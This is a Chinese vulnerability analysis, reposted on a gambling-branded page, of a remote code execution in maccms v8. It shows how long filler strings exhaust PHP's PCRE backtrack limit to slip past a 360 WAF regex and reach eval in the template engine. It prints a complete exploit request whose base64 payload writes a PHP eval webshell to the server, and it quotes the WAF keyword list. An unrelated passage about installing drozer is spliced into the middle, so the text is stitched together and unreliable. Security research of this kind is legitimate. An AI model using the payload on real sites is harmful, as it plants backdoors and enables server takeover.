欢迎访问Sunbet官网(www.sunbet.us),Allbet欧博官网(www.ALLbetgame.us)!

首页Sunbet_安全防护正文

maccms v8 80w 字符的 RCE 分析

b9e08c31ae1faa592020-01-0577安全技术漏洞分析

0x01 写在前面

偶然间看到了这个漏洞,利用 80w 长度的垃圾字符填充,使正则回溯次数超过一定限度,导致绕过了360 模块的防御,本文主要介绍了正则回溯以及maccms v8 80w 字符RCE的详细分析。

0x02 正则回溯

1、正则引擎

“正则回溯”中的“正则”我们都很熟悉,但是什么是回溯呢?

说回溯前,要先谈一谈正则表达式的引擎,正则引擎主要可以分为基本不同的两大类:一种是DFA(确定型有穷自动机),另一种是NFA(不确定型有穷自动机),NFA 对应的是正则表达式主导的匹配,而 DFA 对应的是文本主导的匹配。

目前使用DFA引擎的程序主要有:awk,egrep,flex,lex,MySQL,Procmail等;
使用传统型NFA引擎的程序主要有:GNU Emacs,Java,ergp,less,more,.NET,,PCRE library,Perl,PHP,Python,Ruby,sed,vi

DFA在线性时状态下执行,不要求回溯,并且其从匹配文本入手,从左到右,每个字符不会匹配两次,所以通常情况下,它的速度更快,但支持的特性很少,不支持捕获组、各种引用。

NFA则是从正则表达式入手,并且不断读入字符,尝试是否匹配当前正则,不匹配则吐出字符重新尝试,在最坏情况下,它的执行速度可能非常慢,但NFA支持更多的特性,因而绝大多数编程场景下,比如 PHP、Java,python 等,使用的都是NFA。

对于 DFA 举例如下:

引擎在扫码当前文本的时候,会记录当前有效的所有匹配可能。当引擎移动到文本的 t 时,它会在当前处理的匹配可能中添加一个潜在的可能:

maccms v8 80w 字符的 RCE 分析  安全技术 漏洞分析 第1张

接下来扫描的每个字符,都会更新当前的可能匹配序列。例如扫码到匹配文本的 J 时,有效的可能匹配变成了2个,Rose被淘汰出局。

maccms v8 80w 字符的 RCE 分析  安全技术 漏洞分析 第2张

扫描到匹配文本的 e 时,Jack也被淘汰出局,此时就只剩一个可能的匹配了。当完成后续的rry的匹配时,整个匹配完成。

maccms v8 80w 字符的 RCE 分析  安全技术 漏洞分析 第3张

对于 NFA 举例如下:

在解析器眼中DEF有四个数字位置,如下图:

maccms v8 80w 字符的 RCE 分析  安全技术 漏洞分析 第4张

对于正则表达式而言所有源字符串,都有字符和位置,且正则表达式会从0号位置逐个去匹配。

我们令匹配成功为“取得控制权”;

当正则为DEF时,过程如下:

首先由正则表达式字符 D 取得控制权,从位置0开始匹配,由D 来匹配D,匹配成功,控制权交给字符 E ;由于D已被 D 匹配,所以 E 从位置1开始尝试匹配,由E 来匹配E,匹配成功,控制权交给 F;由F来匹配F,匹配成功。

当正则为/D\w+F/时,过程如下:

首先由正则表达式字符/D/ 取得控制权,从位置0开始匹配,由 /D/ 来匹配D,匹配成功,控制权交给字符/\w+/ ;由于D已被/D/匹配,所以 /\w+/ 从位置1开始尝试匹配,\w+贪婪模式,会记录一个备选状态,默认会匹配最长字符,直接匹配到EF,并且匹配成功,当前位置为3。并且把控制权交给 /F/ ;由 /F/ 匹配失败,\w+匹配会回溯一位,当前位置变成2。并把控制权交给/F/,由/F/匹配字符F成功。

由上面可以知道,对于 DFA 而言,不管正则表达式怎么样,文本的匹配过程是一致的,都是对文本的字符依次从左到右进行匹配,NFA 对于不同但效果相同的正则表达式,匹配过程是完全不同的。

2、回溯

回到正题,现在来谈回溯。

假设字符串及其位置如下:

maccms v8 80w 字符的 RCE 分析  安全技术 漏洞分析 第5张

与上文相同,令匹配成功为“取得控制权”,如果正则表达式为:/.*?b/

那么匹配过程如下:.*?首先取得控制权, 假设该匹配为非贪婪模式, 所以优先不匹配, 将控制权交给下一个匹配字符bb在源字符串位置1匹配失败a, 于是回溯, 将控制权交回给.*?,这个时候, .*?匹配一个字符a,并再次将控制权交给b,这样一个过程,被称之为回溯, 如此反复,最终得到匹配结果, 这个过程中一共发生了3次回溯。

3、正则回溯

在PHP的pcre扩展中,配置选项如下表所示:

名字 默认 可修改范围 更新日志
pcre.backtrack_limit "100000" PHP_INI_ALL php 5.2.0 起可用。
pcre.recursion_limit "100000" PHP_INI_ALL php 5.2.0 起可用。
pcre.jit "1" PHP_INI_ALL PHP 7.0.0 起可用
  • pcre.backtrack_limit:PCRE的最大回溯数限制
  • pcre.recursion_limit:PCRE的最大递归数限制

如上表所示,默认的backtarck_limit是100000。

我们定义一个正则:/UNION.+?SELECT/is

同时要检测的文本如下:UNION/*panda*/SELECT

流程大致如下,

  • 首先匹配到UNION
  • .+?匹配到/
  • 非贪婪模式,.+?停止向后匹配,由S匹配*
  • S匹配*失败,第一次回溯,再由.+?匹配*
  • 非贪婪模式,.+?停止向后匹配,再由S匹配p
  • S匹配p失败,第二次回溯,再由.+?匹配p
  • 非贪婪模式,.+?停止向后匹配,再由S匹配a
  • S匹配a失败,第三次回溯,再由.+?匹配a
  • 非贪婪模式,.+?停止向后匹配,再由S匹配n
  • S匹配n失败,第四次回溯,再由.+?匹配n
  • 非贪婪模式,.+?停止向后匹配,再由S匹配d
  • S匹配d失败,第五次回溯,再由.+?匹配a
  • 非贪婪模式,.+?停止向后匹配,再由S匹配S
  • S匹配S匹配成功,继续向后,直至SELECT匹配SELECT成功

从上面可以看出,回溯的次数是我们可以控制的,当我们在/**/之间写入的内容越多,那么回溯的次数也就越多,假定我们传入的字符串很多,导致回溯次数超过了pcre.backtrack_limit的限制,那么就可能绕过这个正则表达式,从而导致绕过 waf 之类的限制。

这个问题其实在2007年的时候就有人向官网提出过:

maccms v8 80w 字符的 RCE 分析  安全技术 漏洞分析 第6张

但官网采取的整改如下:

maccms v8 80w 字符的 RCE 分析  安全技术 漏洞分析 第7张

其实python 中也存在着“limit”,但是官网解释如下:

maccms v8 80w 字符的 RCE 分析  安全技术 漏洞分析 第8张

可能没有足够的内存来构造那么大的字符串 —— so ~

0x03 maccms v8 80w 字符RCE

根据漏洞的 payload :

学习使用drozer审计安卓app

drozer是一个用来审计安卓四大主件的漏洞检测框架,笔者最近也利用该框架对一些app进行了安全检测,取得了一些成果,觉得这个框架比较好用,于是想记录一下自己的实践经历。 1.运行环境是python2.7,也需要安装JDK。首先需要到官网下载相关软件:https://labs.f-secure.com/tools/drozer/,需要下载msi和apk分别部署在电脑和手机上,apk用来做端口转发: 但我从官网下载的msi运行不了,这里提供一个网盘链接,东西都打包好了:http://pan.baidu.com/s/1gfI0hLT 密码:c78h 其中 setup.exe 是安装在电脑上,安装也是一路next往下装就行, agent.apk 安装在手机或模拟器,我这里用了雷电模拟器,安装完毕之后,在模拟器运行drozer agent,然后点击右下角的“关闭”按钮开启agent,启动服务: 接着在C:\Users\用户名下新建一个.dro

POST /index.php?m=vod-search HTTP/1.1
Host: xxx.xxx.xxx.xx
Content-Length: 500137
Cache-Control: max-age=0
Origin: xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: xxx.xxx.xxx.xx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_ff7f6fcad4e6116760e7b632f9614dc2=1574418087,1574670614,1574673402,1575271439; Hm_lvt_137ae1af30761db81edff2e16f0bf0f8=1574418087,1574670615,1574673402,1575275889; pgv_pvi=8322096128; PHPSESSID=pr37r8fkshd854f8fnfep4ov53; adminid=1; adminname=admin; adminlevels=b%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%2Ci%2Cj; admincheck=2afdbd385cb6c2af162e6733f1b0e2d2
Connection: close

wd=union(80w个a){if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

进入 index.php查看相关参数:

$acs = array('vod','art','map','user','gbook','comment','label');

if(in_array($ac,$acs)){
        $tpl->P['module'] = $ac;
        include MAC_ROOT.'/inc/module/'.$ac.'.php';
    }
    else{
        showErr('System','未找到指定系统模块');
    }
    unset($par);
    unset($acs);
    $tpl->ifex();

确定漏洞文件在/inc/module/vod.php中的 search 模块,其核心内容如下:

elseif($method=='search')
{
    $tpl->C["siteaid"] = 15;
    $wd = trim(be("all", "wd")); 
    $wd = chkSql($wd);
    if(!empty($wd)){ 
    $tpl->P["wd"] = $wd; 
  }

  .....

  $tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
    $tpl->mark();
    $tpl->pageshow();

be 函数主要内容如下:

function be($mode,$key,$sp=',')
{
    ini_set("magic_quotes_runtime", 0);
    $magicq= get_magic_quotes_gpc();
    switch($mode)
    {
        case 'post':
            $res=isset($_POST[$key]) ? $magicq?$_POST[$key]:@addslashes($_POST[$key]) : '';
            break;
        case 'get':
            $res=isset($_GET[$key]) ? $magicq?$_GET[$key]:@addslashes($_GET[$key]) : '';
            break;
        case 'arr':
            $arr =isset($_POST[$key]) ? $_POST[$key] : '';
            if($arr==""){
                $value="0";
            }
            else{
                for($i=0;$i<count($arr);$i++){
                    $res=implode($sp,$arr);
                } 
            }
            break;
        default:
            $res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : '';
            break;
    }
    return $res;
}

主要是对GET,POST,REQUEST接收到的参数进行addslashes的转义处理,回到vod.php页面,在经过 Be函数处理后,再进行字符串两侧空白字符移除处理,最终传入 chkSql()进行 360 waf 的SQL 检测模块,其函数主要内容如下:

function chkSql($s)
{
    global $getfilter,$postfilter;
    if(empty($s)){
        return "";
    }
    $s = htmlspecialchars(urldecode(trim($s))); 
    StopAttack(1,$s,$getfilter);
  StopAttack(1,$s,$postfilter);
    return $s;
}

将urldecode 解码后的一些预定义的字符转换为HTML实体,再传入StopAttack()函数,该函数主要内容如下:

function chkShow()
{
    $errmsg = "<div style=\"position:fixed;top:0px;width:100%;height:100%;background-color:white;color:green;font-weight:bold;border-bottom:5px solid #999;\"><br>您的提交带有不合法参数,谢谢合作!<br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."</div>";
    print $errmsg;
    exit();
}
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq)
{

 $StrFiltValue=arr_foreach($StrFiltValue);
 $StrFiltValue=urldecode($StrFiltValue);

 if(preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
        chkShow();
 }
 if(preg_match("/".$ArrFiltReq."/is",$StrFiltKey)==1){
        chkShow();
 }
}

对传入进的字符,进行正则匹配,正则如下:

<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|be\\(|eval\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover|eval)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|UNION([\s\S]*?)SELECT|SELECT|UPDATE|_get|_post|_request|_cookie|_server|eval|assert|fputs|fopen|global|chr|strtr|pack|system|gzuncompress|shell_|base64_|file_|proc_|preg_|call_|ini_|php|\\{|\\}|\\(|\\\|\\)

主要问题在这一句:

UNION([\s\S]*?)SELECT

([\s\S]*?)——匹配所有字符,且只匹配一次

但是这句话中开起来非贪婪模式,导致这段正则不断回溯,如我定义一个文本为:UNION(panda)SELECT

其匹配过程大致如下:

  • 首先匹配到UNION
  • 进入子表达式检测,[\s\S]*?,匹配所有字符
  • 懒惰模式,*?停止向后匹配,所以直接由S匹配
  • S匹配失败,第一次回溯,再由*?匹配p
  • 懒惰模式,*?停止向后匹配,再由S匹配a
  • S匹配a第二次回溯,再由*?匹配a
  • 懒惰模式,*?停止向后匹配,再由S匹配n
  • ... (以此类推)
  • 最终由S匹配到S后,结束回溯

该过程动画如下:

maccms v8 80w 字符的 RCE 分析  安全技术 漏洞分析 第9张

所以在这里,我们就可以利用最大匹配的次数,来绕过preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1的判断,因为超过最大匹配次数后,其返回的结果并不为 1,而是false

这样一来,我们就绕过了360 waf 防御模块的 chkSql()函数检测,也就是说目前这个wd 参数我们是可控的。

回到index.php页面,发现加载完模块后,进入了$tpl->ifex();函数,跟进发现其核心代码如下:

function ifex()
    {
        if (!strpos(",".$this->H,"{if-")) { return; }
        $labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
        preg_match_all($labelRule,$this->H,$iar);

  ...

    try{
            if (strpos(",".$strThen,$labelRule2)>0){
        ...
     $ee = @eval("if($strif){\$resultStr='$elseifArray[0]';\$elseifFlag=true;}");
        if(!$elseifFlag){
           ...
           @eval("if($strElseif){\$resultStr='$strElseifThen'; \$elseifFlag=true;}");
                     ...
        if(!$elseifFlag){
           ...
           @eval("if($strElseif0){\$resultStr='$strElseifThen0';\$elseifFlag=true;}");
           ...
      else{
                $ifFlag = false;
                if (strpos(",".$strThen,$labelRule3)>0){
          ...
            @eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
          ...
        else{
                    @eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
          if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); }

          ...
        }
         ...

该函数首先对$this->H进行了判断,是否含有{if-,而$this->Hvod.php已经定义如下:

$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");

该模板的应用内容在inc/common/template.php中控制,跟踪发现即是 wd 参数控制。

回到template.phpifex()函数,发现

preg_match_all($labelRule,$this->H,$iar);

该正则的主要作用是匹配出提取出来的wd参数,然后后面就是一系列的循环和判断,最终执行了 eval。

由于限制最少,所以我们选择最后一个 eval 去执行,要执行前,需要满足的条件如下:

  • $this-H中必须有{if- ----> wd参数中带有{if-即可
  • 满足正则:{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}
  • 不满足if 判断:strpos(",".$strThen,$labelRule2)>0
  • 不满足If判断:strpos(",".$strThen,$labelRule3)>0

这样一来就可以进入我们想要的eval 执行语句:

eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");

综上,payload 如下即可满足:

{if-A:phpinfo()}{endif-A}

0x04 漏洞复现

如上所述,完整的利用链已经形成了。

首先通过正则回溯来绕过360 waf,然后通过可控参数 wd 传入我们的 payload,payload 传入$this-H,然后绕过判断传入 eval 中执行。

如下图,如果我们不采用正则回溯的方法,那么会被拦截:

maccms v8 80w 字符的 RCE 分析  安全技术 漏洞分析 第10张

采用正则回溯,则会绕过360waf:

maccms v8 80w 字符的 RCE 分析  安全技术 漏洞分析 第11张

由于环境的问题,我这里测试 80W 字符不够,800W 也不够,于是设置了 1000W,成功绕过。

测试的时候,在 PHP 7.0 的版本下可能会出现以下问题

maccms v8 80w 字符的 RCE 分析  安全技术 漏洞分析 第12张

或者

maccms v8 80w 字符的 RCE 分析  安全技术 漏洞分析 第13张

0x05 参考

https://www.php.net/pcre/

https://www.php.net/manual/zh/pcre.configuration.php

http://www.laruence.com/2010/06/08/1579.html

https://www.jqhtml.com/45531.html

https://blog.csdn.net/iteye_18591/article/details/82204352

https://www.cnblogs.com/test404/p/7397755.html

https://www.cnblogs.com/Chary/p/No0000100.html

https://www.t00ls.net/viewthread.php?tid=54216

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html


网友评论